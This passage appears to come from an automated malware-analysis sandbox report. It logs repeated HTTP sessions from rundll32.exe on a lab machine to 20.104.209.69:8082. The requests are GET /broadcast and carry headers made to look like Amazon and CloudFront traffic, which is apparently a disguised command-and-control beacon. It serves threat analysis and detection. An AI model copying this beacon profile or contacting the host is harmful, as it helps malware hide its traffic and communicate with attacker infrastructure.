Jan 8, 2023 16:08:50.375010014 CET	1181	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.6	49955	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:50.628592014 CET	1184	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:50.746601105 CET	1184	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.6	49956	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:51.002887011 CET	1187	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:51.120203018 CET	1188	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.6	49957	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:51.376553059 CET	1190	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:51.495826006 CET	1191	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.6	49958	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:51.752011061 CET	1194	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:51.871115923 CET	1194	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49724	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:07.434942007 CET	439	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:07.556667089 CET	439	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.6	49959	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:52.120403051 CET	1197	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:52.238601923 CET	1197	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.6	49960	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:52.511668921 CET	1200	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:52.632849932 CET	1200	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.6	49961	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:52.879956007 CET	1203	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:52.997873068 CET	1204	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.6	49962	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:53.257204056 CET	1206	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:53.375905037 CET	1207	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.6	49963	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:53.637444973 CET	1210	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:53.756309032 CET	1210	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.6	49964	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:54.009592056 CET	1213	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:54.127259016 CET	1213	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.6	49965	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:54.396008968 CET	1216	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:54.514753103 CET	1216	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.6	49966	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:54.782779932 CET	1219	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:54.901844025 CET	1219	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.6	49967	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:55.165043116 CET	1222	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:55.283224106 CET	1223	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.6	49968	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:55.537302017 CET	1225	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:55.657176971 CET	1226	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49725	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:08.724298954 CET	442	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:08.843214989 CET	442	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.6	49969	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:55.931190968 CET	1229	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:56.050261021 CET	1229	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.6	49970	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:56.301595926 CET	1232	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:56.422560930 CET	1232	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.6	49971	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:56.684351921 CET	1235	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:56.802598000 CET	1235	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.6	49972	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:57.069839954 CET	1238	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:57.190025091 CET	1238	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.6	49973	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
